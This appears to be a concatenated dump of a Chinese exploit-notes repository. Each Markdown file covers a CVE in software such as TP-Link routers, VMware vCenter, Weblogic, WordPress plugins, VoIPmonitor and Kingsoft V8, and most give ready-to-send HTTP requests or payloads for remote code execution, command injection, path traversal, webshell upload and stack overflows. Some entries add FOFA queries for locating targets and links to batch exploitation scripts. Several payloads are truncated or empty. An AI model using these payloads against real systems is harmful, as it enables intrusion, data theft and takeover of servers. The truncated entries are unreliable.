/userRpm/popupSiteSurveyRpm.htm?ssid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1 10 | Host: 192.168.1.1 11 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 12 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 13 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 14 | Connection: close 15 | Referer: http://192.168.1.1/userRpm/WlanNetworkRpm.htm 16 | Cookie: Authorization=Basic YWRtaW46YWRtaW4xMjM=; ChgPwdSubTag= 17 | Upgrade-Insecure-Requests: 1 18 | ``` 19 | 20 | ref： 21 | 22 | * https://nvd.nist.gov/vuln/detail/CVE-2021-26827 23 | * https://github.com/GD008/vuln/blob/main/tplink_wr2041/tplink_WR2041pv1.md -------------------------------------------------------------------------------- /TP-link 栈溢出漏洞（CVE-2021-29302）.md: -------------------------------------------------------------------------------- 1 | # TP-link 栈溢出漏洞（CVE-2021-29302） 2 | 3 | httpd进程解析HTTP正文消息时会出现缓冲区溢出，这可能导致远程代码执行。例如，当我们第一次设置路由器密码时，http守护进程不会验证外部http消息。如果传输的用户名或密码太长，会导致httpd进程堆空间溢出。 4 | 5 | 影响版本： 6 | 7 | V4_200 <= 2020.06 8 | 9 | PoC已公开：https://github.com/liyansong2018/CVE/tree/main/2021/CVE-2021-29302 10 | 11 | 12 | ```py 13 | import requests 14 | 15 | headers = { 16 | "Host": "192.168.0.1", 17 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", 18 | "Accept": "*/*", 19 | "Accept-Language": "en-US,en;q=0.5", 20 | "Accept-Encoding": "gzip, deflate", 21 | "Content-Type": "text/plain", 22 | "Content-Length": "78", 23 | "Origin": "http://192.168.0.1", 24 | "Connection": "close", 25 | "Referer": "http://192.168.0.1/" 26 | } 27 | 28 | payload = "a" * 512 + "b" * 1024 29 | formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname={}\r\noldPwd=admin\r\npwd=lys123\r\n".format(payload) 30 | 31 | proxies = { 32 | "http": "http://127.0.0.1:8080", 33 | } 34 | 35 | url = "http://192.168.0.1/cgi?8" 36 | 37 | response = requests.post(url, data=formdata, headers=headers, proxies=proxies) 38 | print response.text 39 | ``` 40 | 41 | ref： 42 | 43 | * https://github.com/liyansong2018/CVE/tree/main/2021/CVE-2021-29302 44 | * https://nvd.nist.gov/vuln/detail/CVE-2021-29302 -------------------------------------------------------------------------------- /TVT数码科技 NVMS-1000 路径遍历漏洞.md: -------------------------------------------------------------------------------- 1 | # TVT数码科技 NVMS-1000 路径遍历漏洞 2 | 3 | TVT数码科技 TVT NVMS-1000是中国TVT数码科技公司的一套网络监控视频管理系统。 TVT数码科技 TVT NVMS-1000中存在路径遍历漏洞。远程攻击者可通过发送包含/../的特制URL请求利用该漏洞查看系统上的任意文件。 4 | 5 | 6 | ``` 7 | GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1 8 | Host: 9 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 10 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 11 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 12 | Accept-Encoding: gzip, deflate 13 | Connection: close 14 | Upgrade-Insecure-Requests: 1 15 | ``` 16 | 17 | ref： 18 | 19 | http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/TVT%E6%95%B0%E7%A0%81%E7%A7%91%E6%8A%80-NVMS-1000/TVT%E6%95%B0%E7%A0%81%E7%A7%91%E6%8A%80%20NVMS-1000%20%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md?btwaf=20301571 -------------------------------------------------------------------------------- /Thymeleaf 3.0.12 RCE Bypass.md: -------------------------------------------------------------------------------- 1 | # Thymeleaf 3.0.12 RCE Bypass 2 | 3 | 问题详情可以见：https://github.com/thymeleaf/thymeleaf/issues/828 4 | 5 | 通过更改表达式可以进行绕过安全检查，在T和(之间添加若干个空格字符即可绕过检查进行RCE。 6 | 7 | Payload： 8 | 9 | ``` 10 | ${T (java.lang.Runtime).getRuntime().exec("whoami")} 11 | 12 | ``` 13 | 14 | 官方issue:https://github.com/thymeleaf/thymeleaf/issues/828 -------------------------------------------------------------------------------- /Typora 0.9.67 XSS到RCE（CVE-2020-18737）.md: -------------------------------------------------------------------------------- 1 | # Typora 0.9.67 XSS到RCE（CVE-2020-18737） 2 | 3 | 在Typora 0.9.67中存在一个XSS漏洞，该漏洞会导致远程执行代码。 4 | 5 | **RCE：** 6 | 7 | ``` 8 | graph LR 9 | id1[""] 10 | ``` 11 | 12 | ![](images/16133785780018.jpg) 13 | 14 | ref： 15 | 16 | > https://github.com/typora/typora-issues/issues/2289 17 | > 18 | > https://nvd.nist.gov/vuln/detail/CVE-2020-18737 19 | -------------------------------------------------------------------------------- /UCMS文件上传漏洞(CVE-2020-25483).md: -------------------------------------------------------------------------------- 1 | # UCMS文件上传漏洞(CVE-2020-25483) 2 | 3 | UCMS v1.4.8版本存在安全漏洞，该漏洞源于文件写的fopen()函数存在任意命令执行漏洞，攻击者可利用该漏洞可以通过该漏洞访问服务器。 4 | 5 | 官网源码下载：http://uuu.la/uploadfile/file/ucms_1.4.8.zip 6 | 7 | PoC： 8 | 9 | ``` 10 | POST /ucms/index.php?do=sadmin_fileedit&dir=/&file=1.php HTTP/1.1 11 | Host: ucms.com 12 | Content-Length: 58 13 | Cache-Control: max-age=0 14 | Upgrade-Insecure-Requests: 1 15 | Origin: http://ucms.com 16 | Content-Type: application/x-www-form-urlencoded 17 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41 18 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 19 | Referer: http://ucms.com/ucms/index.php?do=sadmin_fileedit&dir=/&file=CNVD.php 20 | Accept-Encoding: gzip, deflate 21 | Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 22 | Cookie: admin_213f42=admin; psw_213f42=0ef8fa2c997f64b78cde98b6c7c9cc0a; token_213f42=78012aac 23 | Connection: close 24 | uuu_token=78012aac&co=%3C%3Fphp+phpinfo%28%29%3F%3E&pos=17 25 | ``` 26 | 27 | 访问/ucms/index.php?do=sadmin_fileedit&dir=/&file=1.php抓包 28 | 29 | 写入php代码，发送 30 | 31 | ![](media/16096805142938/16096805393808.jpg) 32 | 33 | 34 | 随后访问http://url/1.php 35 | 36 | end. -------------------------------------------------------------------------------- /VMware View Planner 未授权RCE (CVE-2021-21978).md: -------------------------------------------------------------------------------- 1 | # VMware View Planner 未授权RCE (CVE-2021-21978) 2 | 3 | 输入验证不正确以及缺少授权会导致在logupload Web应用程序中上传任意文件。具有对View Planner Harness的网络访问权限未经授权的攻击者可以上传并执行特制文件，从而导致在logupload容器中远程执行代码。 4 | 5 | **PoC:** 6 | 7 | ``` 8 | POST /logupload?logMetaData={"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py","workloadID":"2"} 9 | 10 | Accept-Encoding:gzip,deflate 11 | Content-Type:multipart/form-data;boundary=---WebKitFormBoundaryH8GoragzRFVTw1VD 12 | 13 | 14 | ------WebKitFormBoundaryH8GoragzRFVTw1VD 15 | Content-Disposition:form-data;name="logfile";filename="" 16 | Content-Type:text/plain 17 | 18 | #! /usr/bin/env python3 19 | import cgi 20 | import os,sys 21 | import logging 22 | import jsom 23 | 24 | .... 25 | ``` 26 | 27 | ![](images/16158593231899.jpg) 28 | 29 | 30 | ref: 31 | 32 | * https://www.vmware.com/security/advisories/VMSA-2021-0003.html 33 | * https://twitter.com/osama_hroot/status/1367258907601698816 -------------------------------------------------------------------------------- /VMware Workspace ONE Access 命令注入漏洞（CVE-2020-4006）.md: -------------------------------------------------------------------------------- 1 | # VMware Workspace ONE Access 命令注入漏洞（CVE-2020-4006） 2 | 3 | 2020年11月23日，VMware发布安全公告，其多个产品和组件的管理配置器中存在一个命令注入漏洞（CVE-2020-4006），其CVSS评分9.1。具有管理配置器8443端口的网络访问权限并拥有管理配置器admin帐户和密码的攻击者可以利用此漏洞在系统上执行命令。 4 | 5 | 详情见：https://attackerkb.com/topics/2DKGb1v8mA/cve-2020-4006 6 | 7 | 8 | 漏洞位于 /cfg/ssl/installSelfSignedCertificate TLS端口8443上的 “Appliance Configurator” 服务中的端点中，通过san参数在POST对端点的请求中指定恶意参数，可以执行任意shell命令。请注意该服务可能会重新启动。活动会记录在/opt/vmware/horizon/workspace/logs/configurator.log文件中。 9 | 10 | ![](media/16215889743656/16215890003872.jpg) 11 | 12 | 13 | ref： 14 | 15 | * https://attackerkb.com/topics/2DKGb1v8mA/cve-2020-4006 16 | * https://twitter.com/wvuuuuuuuuuuuuu/status/1391887171649515529 -------------------------------------------------------------------------------- /VMware vCenter Server 服务器端请求伪造漏洞 (CVE-2021-21973).md: -------------------------------------------------------------------------------- 1 | # VMware vCenter Server 服务器端请求伪造漏洞 (CVE-2021-21973) 2 | 3 | VMware vCenter Server 插件中对用户提供的输入验证不当，未经过身份验证的远程攻击者可以发送特制的 HTTP 请求，欺骗应用程序向任意系统发起请求。 4 | 5 | 影响版本： 6 | 7 | vCenter Server: 6.5, 6.5 U1, 6.5 U3, 6.5.0, 6.5.0a, 6.5.0b, 6.5.0c, 6.5.0d, 6.5u2c, 6.7, 6.7 U3, 6.7.0, 6.7.0d, 6.7u3f, 7.0 8 | 9 | Cloud Foundation: before 3.10.1.2, 4.2 10 | 11 | ![](images/16158583105399.jpg) 12 | 13 | **PoC:** 14 | 15 | 16 | ```bash 17 | GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1 18 | HOST: 19 | vcIP: SSRF 20 | vcUsername:sa 21 | vaPassword:sa 22 | reqResource:sa 23 | ... 24 | ``` 25 | 26 | ![](images/16158583337487.jpg) 27 | 28 | 29 | ref： 30 | 31 | * https://kb.vmware.com/s/article/82374 32 | * https://twitter.com/osama_hroot/status/1365586206982082560 -------------------------------------------------------------------------------- /VMware vCenter Server 远程执行代码漏洞 (CVE-2021-21972).md: -------------------------------------------------------------------------------- 1 | # VMware vCenter Server 远程执行代码漏洞 (CVE-2021-21972) 2 | 3 | 由于对 vSphere vCenter Server中用户提供的输入的验证不足，因此存在该漏洞。远程非身份验证攻击者可以向端口 443/tcp 发送专门制作的 HTTP 请求，并在系统上执行任意代码。 4 | 5 | 影响版本： 6 | 7 | * VMware vCenter Server 7.0系列 < 7.0.U1c 8 | * VMware vCenter Server 6.7系列 < 6.7.U3l 9 | * VMware vCenter Server 6.5系列 < 6.5 U3n 10 | 11 | VMware vCenter Server 下载： 12 | 13 | 链接： https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso 14 | 15 | * 漏洞分析详情：http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ 16 | * PTsecurity的分析：https://swarm.ptsecurity.com/unauth-rce-vmware/ 17 | 18 | FOFA: 19 | 20 | ``` 21 | app="vmware-vCenter" 22 | ``` 23 | 24 | 漏洞路径： 25 | 26 | ``` 27 | https://target/ui/vropspluginui/rest/services/uploadova 28 | POST: name="uploadFile"; filename="xxx.tar" 29 | ``` 30 | 31 | 构造POST包上传tar文件： 32 | 33 | ![](images/16142224147525.jpg) 34 | 35 | 36 | Linux可以直接创建../../home/vsphere-ui/.ssh/authorized_keys TAR文件 后直接SSH连；Windows可以直接写入webshell。 37 | 38 | 39 | 批量检测脚本：https://raw.githubusercontent.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/main/CVE-2021-21972.py 40 | 41 | ref: 42 | 43 | * https://www.vmware.com/security/advisories/VMSA-2021-0002.html 44 | * https://twitter.com/ptswarm/status/1364283310281785350 45 | * https://twitter.com/chybeta/status/1364513417118236675 46 | * https://forum.ywhack.com/thread-115165-1-1.html 47 | * https://mp.weixin.qq.com/s/awmf853r8qvr0SNXMfFKuQ -------------------------------------------------------------------------------- /VMware vCenter 未经身份验证任意文件读取漏洞 < 6.5u1.md: -------------------------------------------------------------------------------- 1 | # VMware vCenter 未经身份验证任意文件读取漏洞 < 6.5u1 2 | 3 | 4 | VMware vCenter 未经身份验证任意文件读取漏洞 < 6.5u1, VMware透露此漏洞已在6.5u1中修复，但未分配CVE。 5 | 6 | 7 | ```bash 8 | $user/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\http://vcdb.properties 9 | 10 | ``` 11 | 12 | ![](media/16097312577420/16097312718885.jpg) 13 | 14 | 15 | PoC 16 | 17 | 18 | ``` 19 | /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties 20 | ``` -------------------------------------------------------------------------------- /VoIPmonitor UnAuth RCE（CVE-2021-30461）.md: -------------------------------------------------------------------------------- 1 | # VoIPmonitor UnAuth RCE（CVE-2021-30461） 2 | 3 | 4 | VoIPmonitor 是一个开源的实时网络抓包并分析SIP和RTP protocol的程序.使用通过Web界面到达的用户提供的数据，使用SPOOLDIR和recheck参数对index.php文件发出POST请求时，远程攻击者可以运行任意命令。 5 | 6 | 影响版本： 7 | VoIPmonitor 24.60 及更低版本 8 | 9 | poc： 10 | 11 | ``` 12 | POST /index.php HTTP/1.1 13 | Host: 206.166.208.228 14 | 15 | SPOOLDIR=test%22.system%28whoami%29.%22 16 | ``` 17 | 18 | ref： 19 | 20 | https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ -------------------------------------------------------------------------------- /Wazuh Manager 代码执行漏洞（CVE-2021-26814）.md: -------------------------------------------------------------------------------- 1 | # Wazuh Manager 代码执行漏洞（CVE-2021-26814） 2 | 3 | Wazuh 从4.0.0到4.0.3的 Wazuh API允许经过身份验证的用户通过/manager/files URI以管理权限执行任意代码。 4 | 5 | 影响版本： 6 | Wazuh Manager v.4.0.0-4.0.3 7 | 8 | poc.py:https://github.com/WickdDavid/CVE-2021-26814 -------------------------------------------------------------------------------- /WebMail Pro 7.7.9 目录遍历 (CVE-2021-26294).md: -------------------------------------------------------------------------------- 1 | # WebMail Pro 7.7.9 目录遍历 (CVE-2021-26294) 2 | 3 | 7.7.9及所有更低版本的AfterLogic Aurora和WebMail Pro产品受影响，允许未经授权的攻击者读取文件，比如数据库/用户配置文件等。 4 | 5 | PoC： 6 | 7 | 8 | ``` 9 | curl -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml" 10 | ``` 11 | 12 | ref： 13 | 14 | * https://nvd.nist.gov/vuln/detail/CVE-2021-26294 15 | * https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md -------------------------------------------------------------------------------- /Weblogic Server远程代码执行漏洞 (CVE-2021-2109).md: -------------------------------------------------------------------------------- 1 | # Weblogic Server远程代码执行漏洞 (CVE-2021-2109) 2 | 3 | **受影响版本：** 4 | 5 | * Weblogic Server 10.3.6.0.0 6 | * Weblogic Server 12.1.3.0.0 7 | * Weblogic Server 12.2.1.3.0 8 | * Weblogic Server 12.2.1.4.0 9 | * Weblogic Server 14.1.1.0.0 10 | 11 | **JNDI注入：** 12 | 13 | ``` 14 | /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/v3yovz;AdminServer%22) 15 | ``` 16 | 17 | ref： 18 | 19 | https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw 20 | 21 | https://forum.ywhack.com/thread-115007-1-1.html -------------------------------------------------------------------------------- /Webmin 多个高危漏洞（CVE-2021-31760~62）.md: -------------------------------------------------------------------------------- 1 | # Webmin 多个高危漏洞（CVE-2021-31760~62） 2 | 3 | CVE-2021-31760:利用CSRF攻击，实现对Webmin的远程命令执行。 4 | 5 | CVE-2021-31761:利用XSS攻击，实现对Webmin的远程命令执行。 6 | 7 | CVE-2021-31762:利用CSRF攻击，通过Webmin的添加用户功能创建特权用户，然后通过特权用户权限反弹shell。 8 | 9 | FOFA:app="Webmin" 10 | 11 | 影响版本：Webmin <= 1.973 12 | 13 | **PoC：** 14 | 15 | CVE-2021-31760： 16 | https://github.com/electronicbots/CVE-2021-31760 17 | 18 | CVE-2021-31761： 19 | https://github.com/electronicbots/CVE-2021-31761 20 | 21 | CVE-2021-31762： 22 | https://github.com/electronicbots/CVE-2021-31762 -------------------------------------------------------------------------------- /Windows Install(WMI)越权漏洞（CVE-2020-0683).md: -------------------------------------------------------------------------------- 1 | # Windows Install(WMI)越权漏洞（CVE-2020-0683) 2 | 3 | 攻击者可以利用该漏洞进行越权修改或者删除系统重要的文件数据。 4 | 5 | 漏洞影响范围： 6 | 7 | ``` 8 | Windows 7 9 | Windows 8.1 10 | Windows RT 8.1 11 | Windows 10 12 | Windows Server 2008 13 | Windows Server 2008 R2 14 | Windows Server 2012 15 | Windows Server 2012 R2 16 | Windows Server 2016 17 | Windows Server 2019 18 | Windows 10版本1607 19 | Windows 10版本1709 20 | Windows 10版本1803 21 | Windows 10版本1809 22 | Windows 10版本1903 23 | Windows 10版本1909 24 | Windows Server版本1803 25 | Windows Server版本1903 26 | Windows Server版本1909 27 | ``` 28 | 29 | **PoC：** 30 | 31 | 可执行程序在bin_MsiExploit文件夹内。 32 | 33 | https://github.com/padovah4ck/CVE-2020-0683 34 | 35 | ref： 36 | 37 | * https://github.com/padovah4ck/CVE-2020-0683 38 | * https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0683 39 | * https://mp.weixin.qq.com/s/iD5eA7i1ZfqsGcbe2Cj9yw -------------------------------------------------------------------------------- /Windows Installer File Read 0day.md: -------------------------------------------------------------------------------- 1 | # Windows Installer File Read 0day 2 | 3 | PoC: 4 | 5 | https://github.com/klinix5/Windows_Installer_File_Read 6 | 7 | 详情：https://halove23.blogspot.com/2021/02/windows-installer-file-read-0day_12.html -------------------------------------------------------------------------------- /Windows容器管理器服务提升权限漏洞（CVE-2021-31169）.md: -------------------------------------------------------------------------------- 1 | # Windows容器管理器服务提升权限漏洞（CVE-2021-31169） 2 | 3 | 容器管理器服务在不模拟导致EoP的访问令牌的情况下创建AppContainer进程。容器管理器服务用于Windows Sandbox和Microsoft Defender Application Guard创建轻量级VM。它公开了一个ACLed的RPC服务，允许每个人都可以调用它。这与VM计算服务或Hyper-V本身形成鲜明对比，后者需要成为Hyper-V Administrators组的成员，根据服务标准，该组被视为不在范围之内。 4 | 5 | poc：https://packetstormsecurity.com/files/162557/Windows-Container-Manager-Service-Arbitrary-Object-Directory-Creation-Privilege-Escalation.html 6 | 7 | * 1）编译C#项目。需要获取NuGet库。包含.NET 5和.NET 4.71版本。 8 | * 2）在系统上安装Microsoft Defender Application Guard或Windows沙盒，然后重新启动。 9 | * 3）以任何用户帐户运行POC。 -------------------------------------------------------------------------------- /WordPress 5.6-5.7-经过身份验证的XXE（CVE-2021-29447）.md: -------------------------------------------------------------------------------- 1 | # WordPress 5.6-5.7-经过身份验证的XXE（CVE-2021-29447） 2 | 3 | 能够上传文件的用户（例如Author）可以利用媒体库中的XML解析问题来导致XXE攻击。WordPress使用了一个名为ID3的MP3解析库，该库受到XML外部实体（XXE）漏洞的影响，该漏洞会影响PHP 8及更高版本。 4 | 5 | PoC： 6 | 7 | 8 | ```xml 9 | 10 | " > 11 | ``` 12 | 13 | decryption.php： 14 | 15 | 16 | ```php 17 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | ``` 32 | 33 | ref： 34 | 35 | * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24175 36 | * https://wpscan.com/vulnerability/c311feef-7041-4c21-9525-132b9bd32f89 -------------------------------------------------------------------------------- /WordPress File Manager ＜ 6.9 RCE（CVE-2020-25213）PoC.md: -------------------------------------------------------------------------------- 1 | # WordPress File Manager ＜ 6.9 RCE（CVE-2020-25213）PoC 2 | 3 | 4 | [Proof Of Concept] 5 | 6 | 7 | ```bash 8 | curl -ks --max-time 5 -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@/$file_upload" "hxxps://victim.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" 9 | ``` 10 | 11 | 12 | ```bash 13 | POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1 14 | Content-Length: 631 15 | Content-Type: multipart/form-data; boundary=------------------------9689147a5989a801 16 | Connection: close 17 | 18 | --------------------------9689147a5989a801 19 | Content-Disposition: form-data; name="reqid" 20 | 21 | 17457a1fe6959 22 | --------------------------9689147a5989a801 23 | Content-Disposition: form-data; name="cmd" 24 | 25 | upload 26 | --------------------------9689147a5989a801 27 | Content-Disposition: form-data; name="target" 28 | 29 | l1_Lw 30 | --------------------------9689147a5989a801 31 | Content-Disposition: form-data; name="mtime[]" 32 | 33 | 1576045135 34 | --------------------------9689147a5989a801 35 | Content-Disposition: form-data; name="upload[]"; filename="1.php" 36 | Content-Type: application/octet-stream 37 | 38 | 39 | 40 | --------------------------9689147a5989a801-- 41 | ``` 42 | 43 | ref： 44 | 45 | https://forum.ywhack.com/thread-1645-1-7.html -------------------------------------------------------------------------------- /WordPress GiveWP 2.9.7 反射型XSS（CVE-2021-24213）.md: -------------------------------------------------------------------------------- 1 | # WordPress GiveWP 2.9.7 反射型XSS（CVE-2021-24213） 2 | 3 | GiveWP 是WordPress的捐赠插件，由于过滤不严导致反射型XSS漏洞. 4 | 5 | poc： 6 | 7 | ``` 8 | http://localhost/wp-admin/edit.php?s=%22%3E&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors 9 | ``` 10 | 11 | ref： 12 | 13 | https://0day.today/exploit/36018 -------------------------------------------------------------------------------- /WordPress WP Super Cache 插件 < 1.7.2 RCE（CVE-2021-24209）.md: -------------------------------------------------------------------------------- 1 | # WordPress WP Super Cache 插件 < 1.7.2 RCE（CVE-2021-24209） 2 | 3 | WP Super Cache Settings -> Cache Location option选项中的$cache_path过滤不严，导致该插件在设置页面中受身份验证（admin+）RCE的影响。 4 | 5 | PoC： 6 | 7 | 8 | ``` 9 | POST /wp-admin/options-general.php?page=wpsupercache&tab=settings HTTP/1.1 10 | User-Agent: Mozilla/5.0 11 | Content-Type: application/x-www-form-urlencoded 12 | Content-Length: 501 13 | Cookie: [admin cookies] 14 | 15 | _wpnonce=88a432b100&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwpsupercache%26tab%3Dsettings&action=scupdates&wp_cache_enabled=1&wp_cache_mod_rewrite=0&wp_cache_not_logged_in=2&cache_rebuild_files=1&wp_cache_location=%2Fvar%2Fwww%2Fyour%2Fown%2Fpath%2Fexample.com%2Fwp-content%2Fcache%2F%27%3Bsystem%28%24_GET%5B13%5D%29%3Binclude_once+%5C%27wp-cache-config.php%5C%27%3B%27&_wpnonce=88a432b100&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwpsupercache%26tab%3Dsettings 16 | ``` 17 | 18 | payload: 19 | 20 | ``` 21 | ';system($_GET[13]);include_once \'wp-cache-config.php\';' 22 | 23 | ';`$_GET[13]`;include_once \'wp-cache-config.php\';?>redis -->写入文件-->getshell 4 | 5 | 6 | * 一、 通过任意用户登陆拿到管理员的cookie 7 | 8 | * 二、获取安装目录读取redis 配置文件 9 | 10 | * 三、 ssrf 写入文件 11 | 12 | * 四、getshell 13 | 14 | 详情：https://mp.weixin.qq.com/s/LJRI04VViL4hbt6dbmGHAw -------------------------------------------------------------------------------- /通达OA11.9 低权限SQL注入漏洞.md: -------------------------------------------------------------------------------- 1 | # 通达OA11.9 低权限SQL注入漏洞 2 | 3 | 利用条件：任意一个用户PHPSESSID 后台堆叠注入 -> 修改日志getshell 4 | 5 | \general\appbuilder\modules\portal\controllers\WorkbenchController.php: 6 | 7 | ![](images/16158605326396.jpg) 8 | 9 | **PoC：** 10 | 11 | ``` 12 | POST /general/appbuilder/web/portal/workbench/upsharestatus HTTP/1.1 13 | Host: 14 | ... 15 | 16 | uid=5&status=1&id=2;select sleep(3) 17 | ``` 18 | 19 | ref： 20 | 21 | catw0rld -------------------------------------------------------------------------------- /金山 V8 终端安全系统 pdf_maker.php 未授权 RCE.md: -------------------------------------------------------------------------------- 1 | # 金山 V8 终端安全系统 pdf_maker.php 未授权 RCE 2 | 3 | 金山 V8 终端安全系统 pdf_maker.php 存在命令执行漏洞，由于没有过滤危险字符，导致构造特殊字符即可进行命令拼接执行任意命令. 4 | 5 | 漏洞文件：Kingsoft\Security Manager\SystemCenter\Console\inter\pdf_maker.php 6 | 7 | PoC： 8 | 9 | 10 | ``` 11 | POST /inter/pdf_maker.php HTTP/1.1 12 | Host: xxx.xxx.xxx.xxx 13 | Content-Length: 45 14 | Pragma: no-cache 15 | Cache-Control: no-cache 16 | Upgrade-Insecure-Requests: 1 17 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 18 | Content-Type: application/x-www-form-urlencoded 19 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 20 | Referer: 21 | Accept-Encoding: gzip, deflate 22 | Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 23 | Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04 24 | 25 | url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx 26 | 27 | //"|| ipconfig || 进行base64编码传入即可。 28 | ``` 29 | 30 | via：https://mp.weixin.qq.com/s/zaNvtagdCTx9XtGeotWoYw -------------------------------------------------------------------------------- /金山 V8 终端安全系统 任意文件读取漏洞.md: -------------------------------------------------------------------------------- 1 | # 金山 V8 终端安全系统 任意文件读取漏洞 2 | 3 | 4 | 漏洞复现： 5 | 6 | 存在漏洞的文件 /htmltopdf/downfile.php 7 | 8 | 文件中没有任何的过滤 通过filename参数即可下载任意文件 9 | 10 | poc: 11 | 12 | ``` 13 | http://xxx.xxx.xxx.xxx/htmltopdf/downfile.php?filename=downfile.php 14 | 15 | ``` 16 | 17 | from: PeiQi 18 | -------------------------------------------------------------------------------- /金山终端安全系统 V8-V9存在文件上传漏洞.md: -------------------------------------------------------------------------------- 1 | # 金山终端安全系统 V8/V9存在文件上传漏洞 2 | 3 | 程序下载链接 ： 4 | 5 | V8：http://duba-011.duba.net/netversion/Package/KAVNETV8Plus.iso%20%22v8%E4%B8%8B%E8%BD%BD%22 6 | 7 | V9：http://duba-011.duba.net/netversion/Package/SecManage.iso%20%22v9%E4%B8%8B%E8%BD%BD%22 8 | 9 | 漏洞点:/tools/manage/upload.php 10 | 11 | 在tools目录下的mange下存在一个upload.php。该文件可导致任意文件上传 12 | 13 | PoC： 14 | 15 | ``` 16 | POST /tools/manage/upload.php HTTP/1.1 17 | HOST: target 18 | ... 19 | 20 | ``` 21 | 22 | ref： 23 | 24 